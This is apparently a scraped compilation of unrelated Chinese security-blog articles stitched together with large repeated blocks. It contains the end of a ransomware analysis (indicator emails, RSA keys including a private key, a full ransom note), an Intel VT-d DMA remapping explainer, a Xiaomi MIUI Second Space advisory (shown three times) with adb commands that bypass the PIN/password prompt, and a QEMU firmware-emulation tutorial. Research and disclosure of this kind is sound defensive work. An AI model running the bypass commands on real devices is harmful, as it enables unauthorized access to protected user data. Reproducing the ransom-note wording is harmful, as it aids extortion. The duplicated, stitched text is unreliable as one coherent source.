JIMAGE模块(lib \ modules):eddc43ee369594ac8b0a8a0eab6960dba8d58c0b499a51a717667f05572617fb 电子邮件地址:

· pay4dec[at]cock[.]lu

· dataissafe[at]protonmail[.]com

· dataissafe[at]mail[.]com

· foxbit[at]tutanota[.]com

· moncler[at]tutamail[.]com

· moncler[at]cock[.]li

· relaxmate[at]protonmail[.]com

· crocodelux[at]mail[.]ru

· savecopy[at]cock[.]li

· bazooka[at]cock[.]li

· funtik[at]tutamail[.]com

· proff-mariarti[at]protonmail[.]com

加密文件扩展名:

· thanos

· grinch

· redrum

加密文件签名:

· happyny3.1

· redrum3_0

RSA公钥(happyny3.1版本):

 -----BEGIN PUBLIC KEY-----
 
 MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDa+whJSxr9ngcD1T5GmjDNSUEY
 gz5esbymvy4lE9g2M3PvVc9iLw9Ybe+NMqJwHB8FYCTled48mXQmCvRH2Vw3lPkA
 TrQ4zbVx0fgEsoxekqtb3GbK2NseXEeavCi5lo5/jXZi4Td7nlWTu27CluyxRSgv
 L0O19CwzvckTM91BKwIDAQAB
 
 -----END PUBLIC KEY-----

RSA私钥(redrum3_0版本):

 -----BEGIN RSA PRIVATE KEY-----
 
 MIICXQIBAAKBgQCyNELzNaPcGBlt2YEARamc+a+uyM8/mRadrMLLQ9tuzkppvdWI
 iM/LH+xATZUgByknwzaMtRQZi6R2pQ8nBG6DxNtdhla33L+njQLTW+7wo1tSaaJz
 6Of0FvCUZNPZ0mF5OrJO+Z6ZfDxafcwv653Ii7aTwaKlhjFoZijBMrA43wIDAQAB
 AoGAPJ+I0yJBX0OXiwY+W3BXdj5+5LANyS30QqmeDvZDtRtat0RMW0lnn0t53JpI
 DABDoPJJIW8MqnAWAALA994LFhk9jUtJTUgwsViyKL/Q/dOCeBPJU3xyXNkqhmCN
 ImP4v7DxjvWp1pomrIIRCW68GkbB+cSGyLAzUo+1KHVh6LECQQDdL26UsVNsNYTX
 rfv6BZItGO1HJHYTiz0cI82n4woZY2fS2lpBDEvy3Rl8E4Y7F9tQby4odDLHi/9l
 RCeoif45AkEAzkDsPGauMmWsPXAbXrjzq3/0+MWgh7Vd8Gpgn83QUYjTO2RxtE1n
 zAYzTLrFFtM8zmCAubpKM1dyi4Xs7hlv1wJBAJD5ofV8NT3b5nKn61z5gdJlYEEd
 OPeecDOdlBLS0a/KZCbkT/wK300UdrvI4FajUHDsLsj9QLtim8f4YDYsHKECQQCX
 R40+XD3mnyZvRbv9hQDMyKSglyvAfimxvgSzEZ17QDVWubygd6nrPpz/6XnH3RYb
 dTLVhysHb1uHtKpslWGvAkAf0kivk9miSFnVeoO1XZumRAwrhTh6Rxhkg6MJCLBP
 ThoY7wYXmV9zNPo02xYTvZlyhwnWspz4Kx4LsUutWmBs
 
 -----END RSA PRIVATE KEY-----

勒索信息:

 Hello!
 
 All your documents, photos, databases and other important files have been ENCRYPTED! Do you really interested to restore your files?
 
 If so, you must buy decipher software and private key to unlock your data!
 Write to our email - %s and tell us your unique %s
 We will send you full instruction how to decrypt all your files.
 In case of no answer in 24 hours write us on additional e-mail address - %s
 
 ========================================================================================================================
 FAQ FOR DECRYPTION YOUR FILES:
 ========================================================================================================================
 
 * WHATS HAPPENED ???  
 
 Your files are NOT DAMAGED! Your files have been modified and encrypted with strong cipher algorithm. This modification is reversible. The only way to decrypt your files is to purchase the decipher software and private key. Any attempts to restore your files with the third-party software will be fatal for your files, because would damage data essential for decryption !
 
 Note !!! You have only 24 hours to write us on e-mail or all your files will be lost or the decryption price will be "increased!"
 
 ====================================================================================
 ====================================
 
  * HOW TO RECOVERY MY FILES ???
 
 You have to pay for decryption in Bitcoins. The price depends on how fast you write to us. After payment we will send you the decipher software and private key that will decrypt all your files.
 
 ========================================================================================================================
 
 * FREE DECRYPTION !!!
 
 Free decryption as guarantee! If you don't believe in our service and you want to see a proof, you can ask us about test" for decryption. You send us up to 5 modified files. Use file-sharing service and Win-Rar to send files for test. Files have to be less than 1 MB (non archived). Files should not be important! Don't send us databases, backups, large excel files, etc.  We will decrypt and send you your decrypted files back as a proof!"
 
 ========================================================================================================================
 
 * WHY DO I NEED A TEST???
 
 This is done so that you can make sure that only we can decrypt your files and that there will be no problems with the decryption!
 
 ========================================================================================================================
 
 * HOW TO BUY BITCOINS ???
 
 There are two simple ways to by bitcoins:
 https://exmo.me/en/support#/1_3
 https://localbitcoins.net/guides/how-to-buy-bitcoins
 
 Read this information carefully because it's enough to purchase even in large amounts
 
 ========================================================================================================================
 
  !!! ATTENTION !!!
 
 !!! After 60 hours the price for your encryption will increase 10 percent each day
 !!! Do not rename encrypted files.
 !!! Do not try to decrypt your data using third party software, it may cause permanent data loss.
 !!! Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam.

0x08  参考资料

[1] https://www.bleepingcomputer.com/forums/t/709143/help-me-to-identify-ransomware-with-redrum-extension/ 

[2] https://attack.mitre.org/techniques/T1183/ 

[3] https://en.wikipedia.org/wiki/Galois/Counter_Mode 

[4] https://www.bleepingcomputer.com/forums/t/709143/help-me-to-identify-ransomware-with-redrum-extension/page-2

这篇文章是对Intel VT-d入门研究的总结,主要是关于DMA重映射编程以及Windows上使用的内容,希望本文可以帮助你对它有一个基本的了解,并在感兴趣的基础上开始研究更多细节。

英特尔VT-d

英特尔VT-d(正式名称是定向I / O的英特尔VT)具有以下三个功能:

· DMA Remapping

· Interrupt Remapping

· Interrupt Posting

DMA重映射是其中最常讨论的功能,也是本文的重点。

DMA重映射

DMA重映射是一项重要功能,因为它允许软件通过为每个物理内存页面配置访问权限来实现针对恶意设备的直接内存访问(DMA)的安全检测。虽然可以通过分页结构配置普通的内存页面保护,并且当使用Intel VT-x时,可以通过扩展页面表(EPT)进行配置,但是在进行DMA访问的情况下,这些配置将被完全忽略。因此,需要其他保护机制来完成对存储器的保护,DMA重映射可实现此目的。

规范中的以下图片显示了DMA是通过DMA重映射而不是CPU内存虚拟化(即EPT)进行映射的。

1591943455374.png

不需要VT-x

一个典型的技术误解是,VT-d(DMA重映射)与VT-x,虚拟机等相关联。事实是,没有VT-x,DMA重映射也是可用且有用的。例如,Windows可以启用基于DMA重映射的安全功能(称为  内核DMA保护),而无需启用基于VT-x的安全保护措施(VBS:基于虚拟化的安全保护措施)。

 https://docs.microsoft.com/en-us/windows/security/information-protection/kernel-dma-protection-for-thunderbolt

下面示例项目也可以独立地进行DMA重映射。

IOMMU

DMA重映射也称为IOMMU,因为它的功能类似于用于IO内存访问的内存管理单元(MMU)。不仅概念相似,而且与MMU的编程接口也非常相似,即分页结构和EPT。

从高级的角度来看,主要区别在于DMA重映射在熟悉的PML5、4,PDPT,PD和PT的顶部使用了两个表进行转换。简而言之,使用MMU进行的转换如下:

· Hardware register => PML4 => PDPT => ...

而IOMMU的是:

· Hardware register => Root table => Context table => PML4 => PDPT => ...

该规范将上下文表中引用的表称为第二级页表,下图说明了转换流程。

1591943426125.png

注意:

· 根据请求DMA的设备的总线号选择root表的条目。

· 基于设备和设备的功能编号的组合来选择上下文表的条目。

作为bus:device:function(source-id)分配的示例,我测试的具有DMA功能的设备在一个系统上被列为Bus 6:Device 0:Function 0,如下所示。

1591943484169.png

示例代码

让我们看一下下面的代码,HelloIommuPkg是一个运行时DXE驱动程序,可以使DMA重映射并保护它的第一页(PE头)从DMA读取和写入。

 https://github.com/tandasat/HelloIommuPkg

加载此命令将产生以下输出,并在成功的情况下保护页表。

1591943504996.png

然后,使用PCILeech对测试PCI设备执行DMA读取操作, 证明另一页可读。

 https://github.com/ufrisk/pcileech

1591943525024.png

但受保护的页面不可读。

1591943542876.png

通过使用RWEverything报告的故障记录寄存器,可以确认DMA确实由于缺少读取权限而被阻塞。

 http://rweverything.com/

1591943560721.png

· 第一列表示故障地址(0x6ff48000)

· 第三列表示请求设备的源ID(总线6:设备0:功能0)

· 第四列中的6表示缺少读取权限

1591943581397.png

IOMMU 编程

启用DMA重映射可以分为以下步骤:

1. 找到DMA重映射报告(DMAR)ACPI表。

2. 从(1)中的DMA重映射硬件单元定义(DRHD)结构中收集有关可用DMA重映射硬件单元的信息。

3. 通过初始化上述表来配置转换。

4. 编写硬件寄存器以使用(3)并激活DMA重映射。

HelloIummuDxe.c大致遵循此序列,并带有一些错误检查代码。(1)和(2)非常简单,可以通过RWEverything等经过验证的工具。

1591943601325.png

(3)的复杂度在很大程度上取决于对粒度和选择性转换以及内存保护的要求。HelloIummuPkg允许从任何设备到任何地方的任何访问,除了对单个页面的访问之外,这简化了此步骤。(4)大多只是遵循规范。

总体而言,步骤很简单,没有注释的HelloIummuPkg的行数少于700行。

在Windows上使用DMA重映射

Windows使用DMA重映射(如果可用),如果系统未启用内核DMA保护,则它将转换配置为大多数情况下将所有设备的所有请求传递给其他用户。

以下是从没有内核DMA保护的系统中截取的以下截图,显示了总线7上支持DMA的设备的转换:设备0:功能0。右下角的值9表示已考虑DMA请求(请参见“ TT:转换类型”)在规范中)。

1591943635286.png

请注意,大多数条目指向0x1ac000处的同一上下文表,该上下文表配置为直通,不提供任何保护。

附带说明,除非启用了VBS,否则第三方Windows驱动程序在技术上可能会修改这些转换并尝试针对DMA提供额外的安全保护。

DMA重映射与内核DMA保护

如果启用了内核DMA保护,则大多数转换都会配置为失败,这可以通过指向填充有零的第二级PML4来实现,这意味着不存在转换。

下面的截图显示了具有内核DMA保护的示例配置。请注意,位于0x1ac000的上下文表指向位于0x251000的第二级PML4,它们全为零。

1591943658138.png

请注意,如果启用了VBS,则这些内存位置将不可见,禁用以检查它们。

有趣的是,无法观察到描述的内核DMA保护行为,因为无论屏幕是否被锁定,针对设备执行DMA都会导致错误检查0xE6:DRIVER_VERIFIER_DMA_VIOLATION(类型0x26)。从我从Hal.dll读取的内容来看,进行错误检查是有意义的,但是我怀疑这是内核DMA保护应该如何保护系统的方式。

研究结论

DMA重映射是Intel VT-d体系结构的一部分,可提供针对恶意设备的DMA的安全保护,并且无需将Intel VT-x一起使用即可启用,示例项目HelloIommuPkg演示了用不到700行代码从UEFI重配置DMA的简单设置。

可以看到Windows启用了DMA重映射(如果可用),并且当启用内核DMA保护功能时,通过第二级PML4大部分会阻止DMA访问。

学习资源

· Intel® Virtualization Technology for Directed I/O Architecture Specification

· A Tour Beyond BIOS: Using IOMMU for DMA Protection in UEFI Firmware

· VTd module is IntelSiliconPkg

这篇文章是对Intel VT-d入门研究的总结,主要是关于DMA重映射编程以及Windows上使用的内容,希望本文可以帮助你对它有一个基本的了解,并在感兴趣的基础上开始研究更多细节。

英特尔VT-d

英特尔VT-d(正式名称是定向I / O的英特尔VT)具有以下三个功能:

· DMA Remapping

· Interrupt Remapping

· Interrupt Posting

DMA重映射是其中最常讨论的功能,也是本文的重点。

DMA重映射

DMA重映射是一项重要功能,因为它允许软件通过为每个物理内存页面配置访问权限来实现针对恶意设备的直接内存访问(DMA)的安全检测。虽然可以通过分页结构配置普通的内存页面保护,并且当使用Intel VT-x时,可以通过扩展页面表(EPT)进行配置,但是在进行DMA访问的情况下,这些配置将被完全忽略。因此,需要其他保护机制来完成对存储器的保护,DMA重映射可实现此目的。

规范中的以下图片显示了DMA是通过DMA重映射而不是CPU内存虚拟化(即EPT)进行映射的。

1591943455374.png

不需要VT-x

一个典型的技术误解是,VT-d(DMA重映射)与VT-x,虚拟机等相关联。事实是,没有VT-x,DMA重映射也是可用且有用的。例如,Windows可以启用基于DMA重映射的安全功能(称为  内核DMA保护),而无需启用基于VT-x的安全保护措施(VBS:基于虚拟化的安全保护措施)。

 https://docs.microsoft.com/en-us/windows/security/information-protection/kernel-dma-protection-for-thunderbolt

下面示例项目也可以独立地进行DMA重映射。

IOMMU

DMA重映射也称为IOMMU,因为它的功能类似于用于IO内存访问的内存管理单元(MMU)。不仅概念相似,而且与MMU的编程接口也非常相似,即分页结构和EPT。

从高级的角度来看,主要区别在于DMA重映射在熟悉的PML5、4,PDPT,PD和PT的顶部使用了两个表进行转换。简而言之,使用MMU进行的转换如下:

· Hardware register => PML4 => PDPT => ...

而IOMMU的是:

· Hardware register => Root table => Context table => PML4 => PDPT => ...

该规范将上下文表中引用的表称为第二级页表,下图说明了转换流程。

1591943426125.png

注意:

· 根据请求DMA的设备的总线号选择root表的条目。

· 基于设备和设备的功能编号的组合来选择上下文表的条目。

作为bus:device:function(source-id)分配的示例,我测试的具有DMA功能的设备在一个系统上被列为Bus 6:Device 0:Function 0,如下所示。

1591943484169.png

示例代码

让我们看一下下面的代码,HelloIommuPkg是一个运行时DXE驱动程序,可以使DMA重映射并保护它的第一页(PE头)从DMA读取和写入。

 https://github.com/tandasat/HelloIommuPkg

加载此命令将产生以下输出,并在成功的情况下保护页表。

1591943504996.png

然后,使用PCILeech对测试PCI设备执行DMA读取操作, 证明另一页可读。

 https://github.com/ufrisk/pcileech

1591943525024.png

但受保护的页面不可读。

1591943542876.png

通过使用RWEverything报告的故障记录寄存器,可以确认DMA确实由于缺少读取权限而被阻塞。

 http://rweverything.com/

1591943560721.png

· 第一列表示故障地址(0x6ff48000)

· 第三列表示请求设备的源ID(总线6:设备0:功能0)

· 第四列中的6表示缺少读取权限

1591943581397.png

IOMMU 编程

启用DMA重映射可以分为以下步骤:

1. 找到DMA重映射报告(DMAR)ACPI表。

2. 从(1)中的DMA重映射硬件单元定义(DRHD)结构中收集有关可用DMA重映射硬件单元的信息。

3. 通过初始化上述表来配置转换。

4. 编写硬件寄存器以使用(3)并激活DMA重映射。

HelloIummuDxe.c大致遵循此序列,并带有一些错误检查代码。(1)和(2)非常简单,可以通过RWEverything等经过验证的工具。

1591943601325.png

(3)的复杂度在很大程度上取决于对粒度和选择性转换以及内存保护的要求。HelloIummuPkg允许从任何设备到任何地方的任何访问,除了对单个页面的访问之外,这简化了此步骤。(4)大多只是遵循规范。

总体而言,步骤很简单,没有注释的HelloIummuPkg的行数少于700行。

在Windows上使用DMA重映射

Windows使用DMA重映射(如果可用),如果系统未启用内核DMA保护,则它将转换配置为大多数情况下将所有设备的所有请求传递给其他用户。

以下是从没有内核DMA保护的系统中截取的以下截图,显示了总线7上支持DMA的设备的转换:设备0:功能0。右下角的值9表示已考虑DMA请求(请参见“ TT:转换类型”)在规范中)。

1591943635286.png

请注意,大多数条目指向0x1ac000处的同一上下文表,该上下文表配置为直通,不提供任何保护。

附带说明,除非启用了VBS,否则第三方Windows驱动程序在技术上可能会修改这些转换并尝试针对DMA提供额外的安全保护。

DMA重映射与内核DMA保护

如果启用了内核DMA保护,则大多数转换都会配置为失败,这可以通过指向填充有零的第二级PML4来实现,这意味着不存在转换。

下面的截图显示了具有内核DMA保护的示例配置。请注意,位于0x1ac000的上下文表指向位于0x251000的第二级PML4,它们全为零。

1591943658138.png

请注意,如果启用了VBS,则这些内存位置将不可见,禁用以检查它们。

有趣的是,无法观察到描述的内核DMA保护行为,因为无论屏幕是否被锁定,针对设备执行DMA都会导致错误检查0xE6:DRIVER_VERIFIER_DMA_VIOLATION(类型0x26)。从我从Hal.dll读取的内容来看,进行错误检查是有意义的,但是我怀疑这是内核DMA保护应该如何保护系统的方式。

研究结论

DMA重映射是Intel VT-d体系结构的一部分,可提供针对恶意设备的DMA的安全保护,并且无需将Intel VT-x一起使用即可启用,示例项目HelloIommuPkg演示了用不到700行代码从UEFI重配置DMA的简单设置。

可以看到Windows启用了DMA重映射(如果可用),并且当启用内核DMA保护功能时,通过第二级PML4大部分会阻止DMA访问。

学习资源

· Intel® Virtualization Technology for Directed I/O Architecture Specification

· A Tour Beyond BIOS: Using IOMMU for DMA Protection in UEFI Firmware

· VTd module is IntelSiliconPkg

0x01 漏洞描述

小米Second Space取代了MIUI设备上的Android用户配置文件。它允许管理员和第二用户通过主屏幕上的图标或锁定屏幕来切换配置文件,这两个用户空间都可以用PIN或密码保护。

在小米MIUI系统中发现了一种方法,该方法允许用户在不提供密码或PIN的情况下在空格之间切换。这需要启用“第二空间”和“密码/ PIN”屏幕锁定以及USB调试。

该漏洞是由ADB命令触发的,该命令发送意图以绕过密码提示的标志启动SwitchUserService服务。结果,用户可以在不知道密码的情况下立即切换空间。

该问题是在Redmi 5 Plus设备中发现的,但已确认会影响多个最新的MIUI版本。

0x02 漏洞验证

验证全新的Redmi 5 plus设备:

1. 设立“第二空间”的功能,如果提示不能设置,从设置锁屏密码或PIN 设置>第二空间;

2. 导航到“设置”>“关于手机”并在MIUI版本上点击7次以激活“开发人员选项”;

3. 从设置>其他设置>开发人员选项> USB调试中启用USB调试;

2. 出现提示后,连接USB线并授权计算机;

5. 键入以下命令来获取Second Space用户的ID,然后绕过密码/ PIN提示切换到该ID。

 $ SECOND_USER=`adb shell pm list users | grep -o "{[0-9]*" | tr -d '{' | tail -n 1`
 $ adb shell am start-service --ez params_check_password False --ei params_target_user_id $SECOND_USER -a com.miui.xspace.TO_CHANGE_USER

无需提供密码即可从“第二空间”切换到“第一空间”

 $ adb shell是启动服务-e params_check_password否-e params_target_user_id 0  -a com.miui.xspace.TO_CHANGE_USER

下面的视频演示了该过程  (建议全屏观看)。

https://labs.f-secure.com/assets/Uploads/demo3.mp4

image.png

记录了以下操作:

1.(00:02)切换到第二个空间,当屏幕变黑时请求并提供PIN输入,可通过短暂显示的“设置”活动看到;

2.(00:13)切换回主要空间,要求并提供PIN输入。再次简要显示“设置”活动;

3.(00:29)切换到没有PIN的第二个空格,不弹出“设置”;

4.(00:43)切换回主要空间,更改params_target_user_id,无PIN时未弹出“设置”;

5.(01:23)再次切换到第二空间以在相关设置中显示PIN输入要求。

0x03 技术细节

负责大多数“第二空间”功能的系统应用程序/程序包是com.miui.securitycore 。对以下设置中“在空间之间切换”选项的静态分析使我们指向SecondSpaceSettingsFragment 类,该类通过调用switchToOwnerSpace()方法来实现此切换  。依次启动com.miui.securityspace.service。

SwitchUserService服务:

image.png

在此服务的实现中, startCommand()重写调用处理 checkPasswordBeforeSwitch(),然后从启动切换过程的位置调用 SpaceManager.switchUser()。

该漏洞在于在checkPasswordBeforeSwitch()内强制执行密码要求的方式,因为存在布尔值足以跳过提示。这意味着当将params_check_password extra设置为False 时发送服务启动意图时,可以绕过密码输入。可以通过发出以下命令,使用ADB Shell而不需要root访问权限来实现:

 $ am start-service --ez params_check_password False --ei params_target_user_id 10 -a com.miui.xspace.TO_CHANGE_USER

上面的命令也可以通过将params_target_user_id 整数指定为0 来从第二个空间切换到主要空间。

对应用程序的AndroidManifest.xml进行更仔细的检查后发现,该服务未声明为private,或者export = false 。但是,如果未明确设置,则由于存在intent-filters,因此默认情况下将导出Service ,如清单的以下摘录所示:

 < service android:name="com.miui.securityspace.service.SwitchUserService"
         android:permission="android.permission.INTERACT_ACROSS_USERS"
         android:process="com.miui.securitycore.remote" >
    < intent-filter >
        < action android:name="com.miui.xspace.TO_CHANGE_USER"/ >
    < /intent-filter >< /service >

因此,该服务的安全性取决于启动该服务所需的权限,因为大多数拥有INTERACT_ACROSS_USERS权限的应用程序都是系统应用程序。但是,此权限也由shell程序用户持有,这是普通的非root ADB Shell提供的访问级别。

0x04  时间线

image.png

0x01 漏洞描述

小米Second Space取代了MIUI设备上的Android用户配置文件。它允许管理员和第二用户通过主屏幕上的图标或锁定屏幕来切换配置文件,这两个用户空间都可以用PIN或密码保护。

在小米MIUI系统中发现了一种方法,该方法允许用户在不提供密码或PIN的情况下在空格之间切换。这需要启用“第二空间”和“密码/ PIN”屏幕锁定以及USB调试。

该漏洞是由ADB命令触发的,该命令发送意图以绕过密码提示的标志启动SwitchUserService服务。结果,用户可以在不知道密码的情况下立即切换空间。

该问题是在Redmi 5 Plus设备中发现的,但已确认会影响多个最新的MIUI版本。

0x02 漏洞验证

验证全新的Redmi 5 plus设备:

1. 设立“第二空间”的功能,如果提示不能设置,从设置锁屏密码或PIN 设置>第二空间;

2. 导航到“设置”>“关于手机”并在MIUI版本上点击7次以激活“开发人员选项”;

3. 从设置>其他设置>开发人员选项> USB调试中启用USB调试;

2. 出现提示后,连接USB线并授权计算机;

5. 键入以下命令来获取Second Space用户的ID,然后绕过密码/ PIN提示切换到该ID。

 $ SECOND_USER=`adb shell pm list users | grep -o "{[0-9]*" | tr -d '{' | tail -n 1`
 $ adb shell am start-service --ez params_check_password False --ei params_target_user_id $SECOND_USER -a com.miui.xspace.TO_CHANGE_USER

无需提供密码即可从“第二空间”切换到“第一空间”

 $ adb shell是启动服务-e params_check_password否-e params_target_user_id 0  -a com.miui.xspace.TO_CHANGE_USER

下面的视频演示了该过程  (建议全屏观看)。

https://labs.f-secure.com/assets/Uploads/demo3.mp4

image.png

记录了以下操作:

1.(00:02)切换到第二个空间,当屏幕变黑时请求并提供PIN输入,可通过短暂显示的“设置”活动看到;

2.(00:13)切换回主要空间,要求并提供PIN输入。再次简要显示“设置”活动;

3.(00:29)切换到没有PIN的第二个空格,不弹出“设置”;

4.(00:43)切换回主要空间,更改params_target_user_id,无PIN时未弹出“设置”;

5.(01:23)再次切换到第二空间以在相关设置中显示PIN输入要求。

0x03 技术细节

负责大多数“第二空间”功能的系统应用程序/程序包是com.miui.securitycore 。对以下设置中“在空间之间切换”选项的静态分析使我们指向SecondSpaceSettingsFragment 类,该类通过调用switchToOwnerSpace()方法来实现此切换  。依次启动com.miui.securityspace.service。

SwitchUserService服务:

image.png

在此服务的实现中, startCommand()重写调用处理 checkPasswordBeforeSwitch(),然后从启动切换过程的位置调用 SpaceManager.switchUser()。

该漏洞在于在checkPasswordBeforeSwitch()内强制执行密码要求的方式,因为存在布尔值足以跳过提示。这意味着当将params_check_password extra设置为False 时发送服务启动意图时,可以绕过密码输入。可以通过发出以下命令,使用ADB Shell而不需要root访问权限来实现:

 $ am start-service --ez params_check_password False --ei params_target_user_id 10 -a com.miui.xspace.TO_CHANGE_USER

上面的命令也可以通过将params_target_user_id 整数指定为0 来从第二个空间切换到主要空间。

对应用程序的AndroidManifest.xml进行更仔细的检查后发现,该服务未声明为private,或者export = false 。但是,如果未明确设置,则由于存在intent-filters,因此默认情况下将导出Service ,如清单的以下摘录所示:

 < service android:name="com.miui.securityspace.service.SwitchUserService"
         android:permission="android.permission.INTERACT_ACROSS_USERS"
         android:process="com.miui.securitycore.remote" >
    < intent-filter >
        < action android:name="com.miui.xspace.TO_CHANGE_USER"/ >
    < /intent-filter >< /service >

因此,该服务的安全性取决于启动该服务所需的权限,因为大多数拥有INTERACT_ACROSS_USERS权限的应用程序都是系统应用程序。但是,此权限也由shell程序用户持有,这是普通的非root ADB Shell提供的访问级别。

0x04  时间线

image.png

0x01 漏洞描述

小米Second Space取代了MIUI设备上的Android用户配置文件。它允许管理员和第二用户通过主屏幕上的图标或锁定屏幕来切换配置文件,这两个用户空间都可以用PIN或密码保护。

在小米MIUI系统中发现了一种方法,该方法允许用户在不提供密码或PIN的情况下在空格之间切换。这需要启用“第二空间”和“密码/ PIN”屏幕锁定以及USB调试。

该漏洞是由ADB命令触发的,该命令发送意图以绕过密码提示的标志启动SwitchUserService服务。结果,用户可以在不知道密码的情况下立即切换空间。

该问题是在Redmi 5 Plus设备中发现的,但已确认会影响多个最新的MIUI版本。

0x02 漏洞验证

验证全新的Redmi 5 plus设备:

1. 设立“第二空间”的功能,如果提示不能设置,从设置锁屏密码或PIN 设置>第二空间;

2. 导航到“设置”>“关于手机”并在MIUI版本上点击7次以激活“开发人员选项”;

3. 从设置>其他设置>开发人员选项> USB调试中启用USB调试;

2. 出现提示后,连接USB线并授权计算机;

5. 键入以下命令来获取Second Space用户的ID,然后绕过密码/ PIN提示切换到该ID。

 $ SECOND_USER=`adb shell pm list users | grep -o "{[0-9]*" | tr -d '{' | tail -n 1`
 $ adb shell am start-service --ez params_check_password False --ei params_target_user_id $SECOND_USER -a com.miui.xspace.TO_CHANGE_USER

无需提供密码即可从“第二空间”切换到“第一空间”

 $ adb shell是启动服务-e params_check_password否-e params_target_user_id 0  -a com.miui.xspace.TO_CHANGE_USER

下面的视频演示了该过程  (建议全屏观看)。

https://labs.f-secure.com/assets/Uploads/demo3.mp4

image.png

记录了以下操作:

1.(00:02)切换到第二个空间,当屏幕变黑时请求并提供PIN输入,可通过短暂显示的“设置”活动看到;

2.(00:13)切换回主要空间,要求并提供PIN输入。再次简要显示“设置”活动;

3.(00:29)切换到没有PIN的第二个空格,不弹出“设置”;

4.(00:43)切换回主要空间,更改params_target_user_id,无PIN时未弹出“设置”;

5.(01:23)再次切换到第二空间以在相关设置中显示PIN输入要求。

0x03 技术细节

负责大多数“第二空间”功能的系统应用程序/程序包是com.miui.securitycore 。对以下设置中“在空间之间切换”选项的静态分析使我们指向SecondSpaceSettingsFragment 类,该类通过调用switchToOwnerSpace()方法来实现此切换  。依次启动com.miui.securityspace.service。

SwitchUserService服务:

image.png

在此服务的实现中, startCommand()重写调用处理 checkPasswordBeforeSwitch(),然后从启动切换过程的位置调用 SpaceManager.switchUser()。

该漏洞在于在checkPasswordBeforeSwitch()内强制执行密码要求的方式,因为存在布尔值足以跳过提示。这意味着当将params_check_password extra设置为False 时发送服务启动意图时,可以绕过密码输入。可以通过发出以下命令,使用ADB Shell而不需要root访问权限来实现:

 $ am start-service --ez params_check_password False --ei params_target_user_id 10 -a com.miui.xspace.TO_CHANGE_USER

上面的命令也可以通过将params_target_user_id 整数指定为0 来从第二个空间切换到主要空间。

对应用程序的AndroidManifest.xml进行更仔细的检查后发现,该服务未声明为private,或者export = false 。但是,如果未明确设置,则由于存在intent-filters,因此默认情况下将导出Service ,如清单的以下摘录所示:

 < service android:name="com.miui.securityspace.service.SwitchUserService"
         android:permission="android.permission.INTERACT_ACROSS_USERS"
         android:process="com.miui.securitycore.remote" >
    < intent-filter >
        < action android:name="com.miui.xspace.TO_CHANGE_USER"/ >
    < /intent-filter >< /service >

因此,该服务的安全性取决于启动该服务所需的权限,因为大多数拥有INTERACT_ACROSS_USERS权限的应用程序都是系统应用程序。但是,此权限也由shell程序用户持有,这是普通的非root ADB Shell提供的访问级别。

0x04  时间线

image.png

很多人可能觉得路由器或IoT安全研究很容易,只要用QEMU模拟跑起来就行,对于嵌入式硬件安全研究领域的新手来说,知道如何使用QEMU模拟固件可能是最难的部分,虽然我无法提供很多建议帮助,但可以提供固件仿真上的一些经验。

在开始之前,我将假定你的固件是基于UNIX的,并且不能在其他实时操作系统(RTOS)(例如VxWorks或Windows CE)上运行。我还将假定你已解密/取消加密了固件,并提取了root文件系统。如果你在使用加密固件时遇到麻烦,请查看我之前有关处理加密固件的文章。

 https://www.thezdi.com/blog/2020/2/6/mindshare-dealing-with-encrypted-router-firmware

0x01 qemu仿真方法初探

设备仿真的关键部分是确定最终目标。你只想运行一个二进制文件?文件中的一个服务?还是想要完整的设备仿真?由于使固件仿真正常工作是一项耗时的任务,因此你的目标将极大地影响你的仿真策略。有时,由于调整仿真而浪费了无数的时间,因此需要购买了一些低成本设备。

对于运行单个二进制文件(例如解密例程),请考虑使用更轻量级的用户空间QEMU仿真方法。如果你的目标是编写漏洞利用程序,那么使用物理设备可能是最好的选择,因为漏洞利用程序最终会针对实际设备使用。仿真可能无法说明诸如指令缓存之类的细微硬件行为,这些行为可能会影响内存破坏漏洞。但是,对于开发和测试更高级漏洞的利用程序(例如CGI脚本命令注入或PHP页面中的登录逻辑缺陷),硬件仿真非常合适。

 https://www.qemu.org/docs/master/user/main.html

0x02  确定CPU架构

模拟任何设备的第一步就是确定目标的CPU体系结构。通常,我们无需实体设备即可确定这一点,确定CPU类型的一种方法是通过分析固件二进制文件,在二进制文件上运行file命令可以快速告诉我们正在处理的CPU体系结构:

1590984035755.png图1–file和readelf命令的输出

但是,该file命令没有提供详细的结果。readelf带有-AARM二进制文件选项的命令提供了更详细的CPU信息,这对于完整的系统仿真和交叉编译至关重要。

确定使用无线路由器时的CPU体系结构的另一种方法(以TP-Link TL-WR841-ND为例)是通过在Internet上搜索设备型号。通常,这将使我们进入提供有关设备硬件信息的OpenWRT设备页面。快速搜索还可以告诉我们主要的片上系统(SoC)部件号以及设备FCC ID。然后,我们可以查找相应SoC芯片的数据表,并确定确切的CPU架构。

这也是搜索特定于家族的处理器核心数据表以熟悉CPU的绝佳时机。该数据手册将提供特定于器件的信息,例如加载地址和低级存储器布局,这些信息可能有助于仿真和分析。你也可以查找FCC归档报告以了解 设备的内部视图

 https://fccid.io/TE7WR841NXV9/Internal-Photos/TL-WR841N-Int-Photo-2192209

0x03 用户模式仿真

当只需要模拟一个二进制文件时,按进程模拟就很有用。有两种方法可以在用户模式QEMU中模拟单个二进制文件,第一种选择是用户模式过程仿真。可以使用以下命令之一完成此操作:

 qemu-mipsel -L  `
 `qemu-arm -L  `
 `qemu- -L

当二进制链接到外部依赖性(例如uCLibc或加密库)时,-L选项很重要。它告诉动态链接器查找具有所提供前缀的依赖项,以下是imgdecrypt为D-Link DIR-882路由器运行二进制文件的示例。

1590984069075.png

图2-imgdecrypt

模拟该过程的另一种方法是使用QEMU执行跨架构的chroot。为此,我们将qemu-< arch >-static二进制到/usr/bin/固件根文件系统的目录。然后我们chroot进入固件根并获得一个工作外壳:

1590984093643.png

图3-使用QEMU执行跨架构的chroot

这是由于QEMU在安装过程中已向内核注册,以通过binfmt_misc机制处理具有某些magic字节的二进制文件而导致的。因此,该技术使用相同机制的Scratchbox交叉编译工具包不兼容。你可以在 StackOverflow帖子中找到有关跨体系结构chroot的更详细说明。

 https://www.zerodayinitiative.com/blog/2020/5/27/incompatible%20with%20the%20Scratchbox
 https://unix.stackexchange.com/questions/151010/how-does-chroots-use-of-qemu-for-cross-compile-environments-work

